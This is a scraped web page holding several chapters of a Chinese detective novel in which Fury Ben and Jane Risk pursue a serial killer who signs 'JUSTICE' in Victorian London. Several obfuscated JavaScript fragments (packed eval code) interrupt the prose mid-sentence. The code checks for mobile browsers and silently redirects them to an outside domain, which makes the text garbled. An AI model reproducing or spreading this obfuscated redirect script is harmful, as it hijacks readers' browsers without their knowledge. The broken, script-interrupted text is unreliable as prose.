RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004706|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去的烟雾，“该回家了。” 他最后看了一眼东方先生，什么也没再说。 只是微微颔首，动作带着落幕后的某种奇异庄重。 然后，他后退一步，两步…… 身影便如同滴入浓墨的水滴，无声无息地融入了身后巨大的阴影里，彻底消失了踪影。 仿佛他从未出现过。 东方先生依旧站在原地。 浑浊的河水在脚下无声流淌，呜咽的风声是这片死寂中唯一的哀歌。 简轻轻碰了碰我的手臂。 我们悄无声息地退出了断墙的阴影，回到了有着灯光的大道上。 远处，传来一声沉闷的汽笛，悠长而遥远，像是某种告别。 马车碾过伦敦夜晚湿冷的石板路，车厢里比老磨坊废墟的风声更安静。 简坐在对面，身体微微后仰，陷在车厢的阴影里。她的脸侧向窗外，我看不清表情。 很多问题在舌尖打转。 克罗斯那句“又是里斯克”里的熟稔，他们讳莫如深的“过去”，她为何笃信克罗斯会把宝石交给一个近乎陌生的人…… 每一个疑问都被那个短暂却坚实的拥抱，还有那句贴在发顶的“相信我”无声地堵了回去。 信任是她给我的绳索，也是她为自己设下的藩篱。 最终，我只是轻轻开口，声音在狭窄的车厢里有些回荡。 “他走了。”我说的是克罗斯，也是那个带走宝石的东方人。 简的身体微微动了一下。 她缓缓转过头，目光从窗外移向我。 “嗯。”她应了一声，声音低沉沙哑，“我们该回家了。” 我们没再说话。 车子在公寓楼附近停下。 她先下车，站在路边，微微瑟缩了一下，拉紧风衣领口。 夜风吹乱她鬓角的碎发，少了几分凌厉，多了几分真实。 我跟着下车，站在她身边。 然后我们开始步行。 “弗瑞，”她忽然开口，声音很轻，几乎被风吹散。 “嗯？”我看向她。 她也转过头，路灯的光晕落在眼底。 “谢谢你，”她说，停顿了一下，“……陪我看完这场戏。” 她的用词很微妙。 “戏”。 和克罗斯口中的“盛大表演”如出一辙。 仿佛克里米亚庄园的血案，老磨坊废墟的交接，都不过是一出剧目。 我想从她眼中找到戏谑，却只看到平静的坦诚。 也许世事本就如此，洞察者如她，也不过是冷漠的观众，或偶尔登台的演员。 我最终只是点了点头。 她似乎想说什么，嘴唇动了动，最终化作几乎看不见的微笑。 夜风拂过，带着泰晤士河潮湿的水汽。 几天后，一则不起眼的消息登在了报纸的角落，一艘开往远东的远洋货轮，在浓雾弥漫的清晨驶离了伦敦港。报道简短，淹没在议会辩论和股票行情的喧嚣里。 没有人知道，在那甲板的一角，一个东方男人凭栏而立。 他的面容沉静，目光穿透翻涌的灰白色海雾，投向那片逐渐消失在视野中的海岸线。 那里埋葬着克里米亚夫人的死亡，露西的疯狂，莫里安的绝望，还有一场属于怪盗的盛大而血腥的终幕。 海风凛冽，带着咸腥的气息，吹动他额前的黑发。 而他的行李箱里，它被包裹在粗糙的布料里，沉默着，像一个被封印的秘密，跟随着它暂时的主人，驶向雾霭沉沉与不可知的东方。 只有冰冷的海风，呜咽着，送别这最后的秘密远行。 29.3.7 和弗瑞相处很轻松。 她理智，不会过于善心，但又知晓正义。 事实上，我们应该算得上是志同道合。 我很少能碰见这样一个人。 她会信任我，甚至是欣赏我。但她又不同于梅尔的忠心与距离。 她会关心我的起居，担心我的身体，但又不会过于理所当然。 她始终是温润的，站在朋友的立场上。 她是坚韧的蓝铃花，但她是否能够接受我难以言明的过去呢？ 我不知道。 我决定告诉她，但不是现在。 这是我的决定。 …… 沃尔特夫人控告她的丈夫谋杀她。 沃尔特先生这是明里暗里的主张他的妻子是个精神病。 呵。 任何事情，未知全貌，不予置评。 弗瑞很善良，她有很强的共情能力。 对于沃尔特夫人遭受的事情，以及她该死的丈夫，福瑞很生气，也心疼这位可怜的夫人。 对于沃尔特夫人利用彩釉和铅进行报复的选择，我想弗瑞更多的是理解与无奈。 在我看来，沃尔特夫人是勇敢的人。 “从一开始我们就什么都不知道。” 所以发生的一切，一开始都与我们无关。 但是真的无关吗？ 当我们知道，我们见证，他们的悲剧或许已经与我们有关了。 但我是不会这么和弗瑞说的。 无论我们做出什么选择，对另一方都是不公平。 哪方为善？哪方为恶？ 哪方是受害者？哪方是施加者？ 从来都没有什么二元对立，非黑即白。 他们的婚姻是漂亮的瓷器，是带毒的彩釉。 这种事情，我早就已经司空见惯了，不是吗？ 我想到了那个大宅子，想到了那个深宅中的女人。 母亲？ 这真是一个复杂又陌生的词。 我不由自主的抚摸了一下我的脖颈。 呵。 …… 弗瑞受邀参加假面舞会。 代表欲望的宝石？ 呵。 人心才是充满欲望的东西。 那场假面舞会也说明了这点。 我陪弗瑞参加了。 我不放心她一个人。 无趣又乏味的社交场合。 倒是碰见一个有意思的东方人。 还碰见克罗斯那表演欲旺盛的小偷。 我向他打了个招呼。 至于他开不开心，哈哈。 说起来，我和他认识，已经有六年了吧。 在我还在那个男人手下的时候。 他倒是一直认为自己在贯彻艺术，劫富济贫，物归原主。 抓他？ 也不至于。 但我倒是给他找了点小麻烦。 当我意识到他带走宝石之后，我直接去联系梅尔了。 苏格兰场拿他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004707|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有办法，但是梅尔可以给他制造麻烦，顺便引他到他喜欢的“舞台”。 当然，这“舞台”是我定的，收场的人也是我定的。 那个东方先生很有意思。 他的身份也很有意思。 那是大英政府还有殖民局需要关心和协商的。 来自东方的，回到东方。 弗瑞反应得很迅速。 当她慌忙撞到我的时候，当她看到最后的“舞台”时，我以为她会质问我，但她没有。 她其实很固执，也很坚韧，她坚定自己的选择。 我庆幸她选择信任我。 我给了她一个拥抱。 我会保护好她，如果她想知道，我也会告诉她的。 我漫无目的地写着这个笔记。 也许，总有一天，弗瑞会看到。 …… 弗瑞问我，她想不明白为什么露西要在那场舞会上杀死克里米亚夫人。就像她不明白为什么沃尔特夫人明明可以无声无息的实施自己的复仇计划，却仍然找侦探调查。 我告诉她不用纠结。 人心总是充满了无数的念头与欲望。 我们永远也无法完全弄明白所有的事情。 对我来说，案子破了，人抓到了，就可以了。 至于他们的故事和理由，我会倾听，却永远不会探究到底。 啊，这个暂时到这里吧。 弗瑞喊我去用晚餐了，如果我不去，她一定会很认真地让我注意身体。 30.4.1 在我和简共同居住在圣比得里的公寓的时候，绝大部分的家务都是我们共同承担。 至于三餐，早餐和中餐，我们都会在查令十字街12号，于是这个任务就光荣的交给了我们的朋友老滴答。 而晚餐，不太要指望忙碌的简会注意到自己的晚餐。 所以这个任务，自然而然地，就落在了我的身上。 厨房成了我小小的避风港。 清洗简那只顽固地残留着咖啡渍的马克杯，擦拭煤气灶台上溅出的油星，或者只是盯着炖锅里咕嘟冒泡的浓汤发呆。 这些带着烟火气的琐碎，反而能抚平白日里跟着简东奔西跑甚至偶尔撞见不那么愉快场景所带来的紧绷神经。 闲来无事的时候，特别是当简又一次不知去向的傍晚，我会溜达到老滴答的店里。 老滴答会坐在他那张矮凳上，鼻梁上架着放大镜，小心翼翼地摆弄着怀表或者别的什么。旁边的小板凳上，可能坐着比利或者麻雀，眉飞色舞地讲着码头区的新鲜事。 这种时候，话题总会不由的小心翼翼地飘向简。 我们像一群在花园边缘试探的孩子，既渴望窥探围墙内的秘密，又怕惊动了里面沉睡的猛兽。 “本小姐，”老滴答有一次从放大镜后面抬起眼，“我想您完全看不出来，老滴答我以前可是混过的，当过兵的，现在年纪大了，但帮你们做事也是绰绰有余。” 老滴答放下工具，咧开嘴笑着，露出一口被烟草熏得微黄的牙齿，眼角的皱纹舒展开。 他语气里的自豪感几乎要溢出这间小小的钟表店。 我正把玩着一个刚被他修好的怀表，闻言惊讶地抬起头，转向他。 “唉，是吗？”这确实出乎意料。 平日里那个手脚麻利，对街坊琐事如数家珍的老好人滴答，和“当过兵”的形象，实在难以重叠。 这感觉就像发现厨房角落里那只最朴素的铜锅，翻过来底部却刻着某个古老家族的徽记。 麻雀，这个机灵的小男孩在旁边嗤嗤地笑着说，“得了吧老滴答，您那‘当兵’的故事，怕是给‘哪里当看门人当护卫吧？” 老滴答也不恼，只是嘿嘿一笑，用沾着油污的手指点了点麻雀的脑袋。 “小鬼头懂什么！风浪大着呢！就说那会儿在……”他的话头突然顿住，浑浊的眼珠里飞快地掠过一丝难以捕捉的东西。 他下意识地瞟了一眼通往楼上的那扇虚掩着的门，仿佛简随时会从那里下来。 墙上挂着的各式钟表还在不知疲倦地滴答作响。麻雀也收起了嬉笑。 老头喉结上下滚动了一下，像是费力地咽下了后面未出口的字句。 他低下头，重新拿起桌上的怀表，手指却不再像之前那样稳定灵活。 “在……在那些地方，”他终于又开了口，低沉沙哑，与刚才的自豪判若两人。 “有些事，不是扛枪放炮就叫当兵。有些规矩……比军令还硬，还冷。” 他用镊子尖轻轻拨动一个齿轮，发出细微的“咔哒”声，如同某种暗号。 “有些‘先生’……他们的影子，能让人在太阳底下也打哆嗦。” “先生？”麻雀忍不住插嘴，带着孩子气的好奇，“什么先生？” 老滴答猛地抬起头。他再次飞快地瞥了一眼楼梯方向。 “没什么先生！陈年谷子烂芝麻，提它作甚！老子现在就是个修破烂的老头子，安安稳稳过日子才是正经！” 他用力吹了吹表盘上的浮尘，动作幅度很大，像是在掩饰什么。 我捏着那个怀表，指尖感受到金属的寒意。 老滴答的反应太过异常。 他口中那些比军令还“硬”、还“冷”的规矩，那个能让人在太阳下打哆嗦的“先生”…… 让我敏感地想到了“金环蛇”，想到了那个房间，以及那位在阴影里的先生。 麻雀显然被老滴答突然的严厉和回避吓住了，缩了缩脖子，不敢再问。 老滴答摘下放大镜，揉了揉酸涩的眼角，用一种刻意轻松的语气嘟囔。 “啊呀，这老眼是越来越不中用了……本小姐，您那表修好了，拿回去听听？调子准着呢。” 他避开了我的目光，重新埋头于那块怀表，仿佛要将自己深深埋进那堆金属零件里。 钟表店里的滴答声依旧。 简的过去，像一道深不见底的冰河，在老滴答戛然而止的话语和骤然变色的神情中，隐隐露出了其下黑暗湍急的暗流。 我绕了几条道，返回了公寓，我看了看楼下，简的新车并不在。 她还没回来。 简之前就念叨着要买车了，“买车就可以方便我们查案，顺便带你去兜风。” 她还是买了沃尔特公司的汽车，我不太懂，但是简说他们的汽车挺先进的，虽然现在的沃尔特公司已经被收购并改名沃尔了。 她偶尔会开着车子出去调查案子。 简最近在追查一个连环杀手，死者明面上看起来似乎都没有什么关系。她几乎算得上是自告奋勇地调查这个案子。 因为那个连环杀手，极其嚣张地在杀完人之后留下“JUSTICE”的签名。 难道他或者她认为，杀人，是一种审判吗？难道他或她认为，杀人，是一种正义吗？ …… 11月的伦敦还是太冷了，我靠近燃烧的壁炉缩了缩脖子，漫不经心地想着事情。 “叮咚”，门铃响起。 读者们，当时听到声音的我整个人都愣在了原地。 真正熟悉的人会给我们暗号，而简，她从来不会按门铃。 我没有开门，而是小心地听着外面的动静。打斗的声音清晰地传来。 外面的到底都是什么人？ 他们到底要干什么？ 似乎过了很长时间，打斗的声音停了。 他们走了吗？我不确认，开门显然是不理智的。 幸好，没过多久，我就听见了我熟悉的暗号，带有她特有的风格。 是简！ 我小心翼翼地开门，透过缝隙，看见了简那令我安心的脸。 这份安心只持续了一瞬。 门缝外泄入的空气裹挟着更不好的东西，浓重的血腥味。 她侧身迅速闪进屋内，反手利落地锁上门链。 壁炉跳动的火光映在她脸上，清晰地照见了她右侧额角新鲜渗血的擦痕。几缕发丝被黏稠的血迹粘在伤口边缘。 她没说话，只是背靠着门板，微微喘息，胸膛起伏的幅度比平时要大。 那件她常穿的深色风衣肩头被撕裂了一道口子，边缘染着深色的污渍，在火光下泛着不祥的意味。 “简！”我低呼一声，下意识想上前查看她的伤口。 她却抬手，用一个极其轻微但不容置疑的手势阻止了我靠近。 她的目光冰冷锐利，先是在我脸上扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011064|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过，确认我无恙，随即投向屋内，每一个角落都未放过。 那眼神不是寻找，而是确认。确认没有不该存在的东西，或者人。 确认完毕，她才似乎稍稍松懈了一点。 她脱下染血的风衣，随手扔在门边的矮柜上，发出沉闷的声响。里面那件深色的衬衫袖口，也蹭上了暗红的痕迹。 “弗瑞，”她的声音响起，带着沙哑，却异常平稳，“拿药箱来。还有，热水，毛巾。” 我立刻转身奔向盥洗室，心还在怦怦直跳。 药箱在壁橱里，我手忙脚乱地翻出来。 热水壶在炉子上一直温着，我倒了一盆，又抓过两条干净的毛巾。 回到客厅时，简已经坐在壁炉前的地毯上，背对着温暖的炉火，面向门口的方向。 她正用一块不知从哪里摸出来的干净手帕，随意按着额角的伤口。 火光在她身后摇曳，将她沉默的侧影投射在墙壁上，像一幅动荡不安的默剧。 我把水盆和药箱放在她身边。她没看我，只是移开了手帕，露出那道深且狰狞的刀伤，皮肉外翻，边缘沾着尘土和碎石屑。 “别怕，帮我擦干净。”她简短地命令，语气不容置疑，却又带着疲惫。 我跪坐在她旁边，浸湿毛巾，小心翼翼地擦拭伤口周围的污血。 热水接触到伤口时，她连眉头都没皱一下，只是放在膝上的手，指节微微收紧了一下，暴露了那瞬间的痛楚。 她的呼吸很轻，几乎听不见。 毛巾很快染红了。 我换了一块干净的，继续清理。 温暖的客厅里这个时候竟然充满了诡异而令人窒息。 清理干净后，我打开药箱，找出碘酒和纱布。 当褐色的药水涂抹在伤口上时，那强烈的刺激性气味终于让她忍不住吸了口气。 她闭上了眼睛，长长的睫毛在眼下投下一小片阴影。 “外面……是谁？”我终于忍不住，声音压得极低，仿佛怕惊扰了什么。 简没有立刻回答。她闭着眼，任由我笨拙地给她贴上纱布。壁炉的火光在她脸上明明灭灭。 “几条杂鱼。”她终于开口，声音依旧沙哑，带着近乎轻蔑的漠然，仿佛在谈论几只被打扰了觅食的野狗。 “冲我来的。大概是想……向我‘示意’。”最后几个字，她说得格外用力，带着寒意。 她睁开眼，那双浅绿色的眸子在火光映照下，不再是平日里洞察一切的锐利，里面沉淀着某些我完全无法理解也绝不想触碰的东西。 那里，似乎正有来自过去的带着血腥味的暗影。 “他们以为，”她扯了扯嘴角，露出一个毫无温度的笑，“我还是那个需要躲在‘先生’羽翼下的雏鸟。” 那个词，“先生”。 它和老滴答在钟表店里带着恐惧与忌惮吐出的那个词，瞬间重叠在一起，令人不寒而栗。 金环蛇。 那个名字，那个阴影，从未如此刻般具象地带着硝烟和血腥味，笼罩在这间本该安全的公寓里。 壁炉里的火温暖地燃烧着，火光努力驱散着室内的寒意，却无法触及简周身散发出的冰冷气场。 包扎完毕，我低头收拾着染血的毛巾和药瓶，指尖冰凉。 晚餐？早已被遗忘在冰冷的炖锅里。 今晚的圣比得里公寓，只有血腥与硝烟，以及一个刚刚露出獠牙的令人陌生的简。 31.4.2 简的伤口还在渗血，除了额头，她的胸口也被划了一个大口子。而她的右手，也不可避免地挂彩了。 但她本人却完全不在意，除了最开始我给她包扎的时候，疼痛让她控制不住地到吸几口凉气，她连眉头都没皱一下。 我看着她整个人透着一种生人勿近，熟人勿扰地冷气，摆弄着手里的发信装置。 那个像怀表又向罗盘小巧装置，我曾经见简用过一次。在我们第一次去见金环蛇的时候，简向她的“信使”确认证据。 但在那之后，整个事情就没有了后续，或者说，我并不知道后续。 她在向“信使”传递消息？“信使”又是谁？这是一个代号，还是只是简当时应景的说法？ 我没在旁边干看着，给简递了咖啡，然后去温着我们早就已经冷掉的晚餐。 纠结太多没有意义。而且，我知道，我不应该这个时候打扰她。 终于，在简松了一口气，放下装置的时候，我适时开口，“简，我想你不会想在受伤虚弱的时候，忍受胃病的侵扰。” “弗瑞？！”她看起来似乎很惊讶，整个人就想快速融化的寒冰，“你是说…晚餐？”她甚至下意识地问了一遍，带着点难以置信的茫然。 “不然呢？简，我想你知道，我们都还没有吃晚餐。”我忍不住从她身边拿走了马克杯。现在，病人需要一些清水。而不是咖啡了。 “我以为你会问…不…没什么。”她低低的说，浅绿色的眼睛看着我。 然后，简·里斯克，这个刚刚撂倒几条“杂鱼”，带着血腥味回来的女人，做出了一个让我几乎失笑的举动。 她举起了没受伤的那只手，轻轻按住自己胸口的绷带，用一种与她平日形象截然不符的，近乎可怜兮兮的语气说，“弗瑞，我受伤了。” 那神情，活像只被雨淋湿后强装镇定的猫，终于肯露出一点柔软的肚皮。 “我知道，那更得吃点晚餐，有炖汤。”我严肃地看着她。 我们对视着，片刻后，简笑了。 终于，这迟来的晚餐，在简看似不情不愿地慢吞吞的动作（她每动一下似乎都牵扯到胸口的伤，眉头微微地轻蹙），以及我几乎无法集中精神在食物上，分心关注她是否不适中结束了。 简确实是对受伤习以为常，我也不需要重复地提几遍让她小心在洗漱的时候不要让伤口沾水。她不需要这些，那是对她能力的轻视。 但等她洗漱完出来，穿着干净的睡衣走出来，我确实是松了一口气。 在我灭完灯打算回房间的时候，简突然在背后喊了我的名字。 “弗瑞，”黑暗中，一贯平稳的人的尾音似乎带上了几分颤抖。 我脚步顿住，没有回头。背对着她。 “嗯？”我的声音放得很轻，等待着她的下一句话，或者，仅仅是这阵沉默的延续。 “我会告诉的。”简轻声说，却好像是下定某种决心，“我也会保护好你的。” “嗯…晚安。”我应道。 我不会急着去问关于简，关于“金环蛇”，还有她的过去。 因为简说，她会告诉我的。 我相信她。 这是我的选择。 …… 第二天一早，简就和我一起去了事物所。 11月的伦敦太冷了，连罪犯都少出来活动了，除了那个奇怪的连环杀手。 三个看似没有关系的人被同一个人用刀痛死，是仇杀？还是如凶手标记的那样，为了“Justice”？ 第一个死者是似乎是一个普通的出版社社员，死亡时间是11月7号的晚上，被路过的人发现死亡在暗巷。而他所在的出版社并没有提供什么有用的信息。 第二个死者似乎是一个普通的银行职员，死亡时间是11月9号的晚上。在他死亡之后，银行才发现他私自挪用了一大笔金额，擅自放贷。 第三个死者好调查一点，但他的关系更加复杂。他是一个赛马场的金牌赛马员，重点是他是一个意大利人。调查发现他的死亡时间是11月11号的晚上。 凶手似乎在奉行着两日一杀的频率。 重要的是，三个死者明面上身份，关键毫无关系，但是暗地里，似乎都和伦敦本地地下世界关系密切。 苏格兰场并没有查到其他更多有用的东西，而媒体都像是嗅到腥味的鲨鱼，风一样的报道的“Justice”的血恶正义。 每日晨报，电台报，就连泰晤士报都有提及报道。 无论如何这个案子似乎和我们并无太大的关系，但是当简知道第三个死者是那个意大利人，她整个人都感兴趣起来了，并且风风火火的开始去参与调查。 读者们，我还记得那天是11月14号的早上，如果按照凶手的杀人规律，那么昨天晚上将会又有一名死者。 “弗瑞，马可·比安奇（Marco Bianchi），如果你翻看书架的第五个隔间，你还能找到我留的他的档案。” 查令十字街12号的修息室里，简边翻着今天的报纸边和我说。 “伦敦有名的意大利帮成员，参与赛马和□□，他…”简的话顿住了，她不确定的确认一下日期，的确是11月14日的早报。 “怎么了？没有吗？”我接过她手里的报纸看了一下，往常泰晤士报会一直追踪报道死者，而今天的报纸头版什么都没有。 “没有死者？”我放下报纸，忍不住的问。 “不…弗瑞，不。”简的手又忍不住在扣击桌子了，她整个人又开始陷入了思考，几乎是下意识地对我说。 “凶手不可能无缘无故地打破他的杀人规律，除非是因为死者…” 简的话没有说完，但我意识到了。是因为死者的身份足够异常，或者是重要，导致媒体不敢多加报道。 “我现在去给苏格兰场打电话。”我迅速地说。 我们和苏格兰场，其实并不是水火不容的关系，事实上作为私家侦探，我们有很多地方需要和官方进行合作。 当然，由于某些人的存在，我对苏格兰场一直持有偏见，但是在经过多个案子之后，我知道苏格兰场也还是不全是霍华德那种人。 接线员小姐开始转接。 “怀特先生。我是弗瑞·本。”我在简的注视下通话着，“对。死者是…？” 威廉·霍华德。 苏格兰场的警探。 电话那头的声音还在继续，带着疲惫，或者，也许是刻意压制的震惊。 “…是的，本小姐。威廉·霍华德警探。昨晚…在泰晤士河南岸的一个废弃仓库被发现。致命伤是…刀伤。现场…有标记。” 听筒在我手里变得冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018586|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷而沉重。我下意识地看向简。 她依旧坐在那里，手指停止了无意识的叩击，僵在桌面上。 晨光透过百叶窗，在她脸上映出明暗的条纹。她没有说话，只是看着我，仿佛在无声地确认。 “明白了，怀特先生。谢谢。” 我的声音听起来还算平稳。挂断了电话，听筒放回座机上因为用力发出了嘈杂的响声。 “威廉·霍华德。”我重复了一遍这个名字，说给简听。 不需要更多解释，这本身就是一个漩涡，足以吞噬掉许多不愉快的回忆和未解的疑团。 简的指尖终于从桌面移开，轻轻搭在她面前的茶杯边缘。杯里的咖啡早已冷却。 “他死了。”她的声音很轻，不是疑问，是陈述。 “昨晚。刀伤。现场…有标记。”我把苏格兰场的信息复述了一遍。 苏格兰场拼命压了消息，那些大报也选择性的不去报道。 苏格兰场的警探被Justice给杀死，是否意味着一种审判？ 这将会对苏格兰场的公信力造成极大的影响！ 简的嘴角似乎极其细微地向下抿了一下，快得像是错觉。 然后，她站起身，动作利落，身上的伤仿佛对她失去了束缚。 “档案，”她只说了一个词，目光已经投向书架，“第五隔间，左边。马可·比安奇。” 我立刻走过去，手指在书脊间快速划过。第五隔间，左边。果然有一个不起眼的牛皮纸档案袋，边缘已经有些磨损。我把它抽出来，递给她。 简没有立刻打开。 “弗瑞，”她终于开口，声音比刚才更低，“凶手没有打破规律。他只是…换了一个更有价值的猎物。” 她顿了顿，浅绿色的眼眸转向我，“他在贯彻自己的…规则。” 也许是因为壁炉不够暖，也许是因为11月伦敦真的是太冷，我觉得空气仿佛气温更低了。 苏格兰场的警探，成了连环杀手的第四个目标。 这不再是扭曲的“正义”，这是赤裸裸的宣战，是对整个秩序的嘲弄。 “嗤啦！”封口撕裂。 她翻了翻，薄纸和照片摊开。 马可·比安奇在照片里咧嘴笑，眼神凶戾，面色凶狠。 我凑过去看。纸上是简特有的，略显潦草的钢笔字。 马可·比安奇(Marco Bianchi) “金赛马”马场骑师（明面）。意大利裔。 与本地意大利裔团体有关联（核心中层？）。 活动区域，“金赛马”酒吧（常客，后巷活动频繁），南岸码头区（偶现）。 涉及，非法赌马盘口操作（规模较大），暴力讨债。 赛马圈内风评差（赌博、酗酒）。 异常，11月初（具体日期不明）曾因不明原因在南岸码头区短暂消失数日，后出现并收敛。 然后是一大堆关联人物。有我记过的，简让我记的“敌人”面孔，还有一些我不认识的人。 这档案加起来可能也才两三页，虽然简记录得很凌乱，但我还是看见了一个熟悉的名字。 威廉·霍华德警探。 多次被目击私下会面于“金赛马”后巷，南岸某廉价咖啡馆。固定会面，气氛异常。最后一次目击，约一月前。 32.4.3 在得知比安奇死后，简就参与调查了。 而现在，霍华德死亡完全加剧了整件事情的性质。 比安奇和霍华德有关系，那另外两个人呢？这四个人是不是有什么不为人知的关系？ 我不由自主地思考着。 外面传来了熟悉的扣门声，三短一长，我过去开了门。 “本小姐，我带了人来。”老滴答向我示意道。 他后面是一个穿着破败，邋里邋遢的人，也许是流浪汉或者乞丐。 我让他们进来。 简早就恢复那平静的模样，她没抬眼，手指在桌面上无意识地敲击着。 “先生，我想你会给我一些有用的消息。” 流浪汉瑟缩了一下，沾满污垢的手指绞着破外套的衣角。“当…当然，小姐…”他声音透着小心翼翼，“最近…‘金赛马’后巷…不太平。好几回了…” 他咽了口唾沫，偷眼瞟了下简，又迅速垂下。“那些人…生面孔，凶得很。嚷嚷着什么‘账目乱了’‘意大利那边要交代’…动静不小，但散得也快。” 简的手指停住了。敲击声消失。休息室里只剩下流浪汉粗重的呼吸。 “什么时候的事？” “就…就前两天！对，11号晚上，还有…还有昨天下午也闹过一次！”流浪汉被那目光吓住，语速快了些，带着急于证明的惶恐。 11号。马可·比安奇死的那天晚上。还有昨天，13号下午，霍华德死前。 简没说话。她靠在椅背上，手指无意识地敲击着。 “还有吗？”她问。 “没…没了，小姐。就知道这些了。”流浪汉搓着手，不安地挪动双脚。 简从大衣内袋摸出几张钞票，没数，直接递过去。 “你的消息。老滴答知道怎么找你。以后有消息，告诉他。” 钞票被流浪汉一把抓过，攥得死紧，连声道谢。 “带他出去，老滴答。”简说。 “是，里斯克小姐。”老滴答拍拍流浪汉的肩膀，两人悄无声息地退出了休息室。门轻轻合上。 房间里只剩下我们两人。 “‘简，”我低声说，“那些人，他们慌了？” 简的目光从窗外收回来，落在我脸上。 “不止是慌，弗瑞。”她站起身，动作牵扯到伤口，眉头都没动一下。她抓起搭在椅背上的大衣。 “这是有人在…清账。” 大衣甩上肩膀，盖住了绷带可能洇出的暗红。她大步走向门口。 “走。”她对我说，“去听听，这账到底怎么个清法。” 简的大衣衣摆带起一阵风，我抓起自己的外套紧随其后。 伦敦的寒气立刻裹挟上来，钻进领口。我们沉默地快步走着，方向明确。 南岸码头区，“金赛马”酒吧的后巷。 简的脚步依然带着伤后的微滞，但那股锐利的气势仿佛抵消了□□的不适。 她是沾着旧血的刀，重新投入浓雾弥漫的战场。 我们抄了近路，穿过几条更狭窄更阴暗的巷道。 还没完全拐进“金赛马”后巷那片堆满空酒桶和废弃木箱的肮脏空地，激烈的声响就穿透了过来。 不是斗殴的闷响，是更致命的爆裂声！ 木仓声！ 我和简同时停住脚步，迅速贴近巷口粗糙的砖墙。她抬手示意我噤声，动作干净利落。 我们小心地探头望去。 后巷的空地上，俨然成了一个混乱的小型战场。 一边是穿着制服的苏格兰场警察，大约五六人，依托着几个翻倒的破酒桶和一堆木箱作为掩体。 他们不断朝着对面开木仓，木仓口喷吐着火光，脸上混杂着紧张和一种被逼入绝境的凶狠。 带队的是个身材壮硕的警探，正大声吼叫着指挥，他的声音在枪声中显得有些破碎。我认出来了，是怀特警探。 而他们的对手，是另一伙人。 大约七八个，穿着杂乱的深色衣服，动作凶狠迅捷，显然不是街头混混的级别。 他们利用废弃仓库的入口，一辆破旧卡车以及堆叠的杂物作为掩体，火力同样猛烈。 子弹打在警察掩体的酒桶和木箱上，木屑纷飞。 这些人脸上带着亡命之徒的戾气，其中一个光头大汉尤为显眼，他手中的左轮手枪喷吐着火焰，压制得警察那边几乎抬不起头。 意大利帮派。 毫无疑问。 空气中弥漫的硝烟味和血腥味交织在一起，地上似乎已经倒下了两三个身影，分不清是哪一方的，一动不动。 双方显然都打红了眼，陷入了僵持。 警察这边火力不如对方集中，但占据着相对稳固的掩体。 帮派分子火力更猛，但位置相对暴露。 每一次枪响都像敲在紧绷的神经上，死亡的阴影笼罩着这片角落。 “该死！”怀特警探怒吼着，试图组织一次压制射击，但被对面精准的火力打了回去，一颗子弹擦着他的帽檐飞过，他狼狈地缩回头。 “呆在这，弗瑞。”小声说完，就在这令人窒息的僵持中，简动了。 她没有丝毫犹豫。无声而迅捷地进入战场边缘的阴影地带。 那是靠近帮派分子占据的废弃仓库入口一侧，有几堆高大的被防水布半盖着的木料。 我的心几乎猛地提到了嗓子眼。 她疯了？！伤口还没好！ 而且，她根本不方便使用她的韦伯利转轮，她有伤，还有那么多警察！ 但简的动作迅速且果断。 她利用警察一次集中火力的间隙（那短暂吸引了帮派分子的注意力），几个翻滚就藏身在了那堆东西后。 距离最近的一个帮派分子只有不到十英尺！他甚至没发现身旁阴影里多了一个人。 怀特警探似乎瞥见了简的身影，脸上瞬间闪过极度的错愕和难以置信，但紧接着就被更深的惊疑取代。 她怎么会在这里？她想干什么？ 简没有理会任何人的目光。 她背靠木料，从大衣内侧（不是枪套的位置）掏出了一个小小的金属管状物。 我认出来了。 那是她有时会带的强光信号棒。 她猛地将那东西在木料上一擦。 “嗤——！” 一声刺耳的尖啸划破木仓声的喧嚣！ 紧接着，一道几乎能灼伤视网膜的刺眼白光猛地出现！ 目标直指那群帮派分子占据的区域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 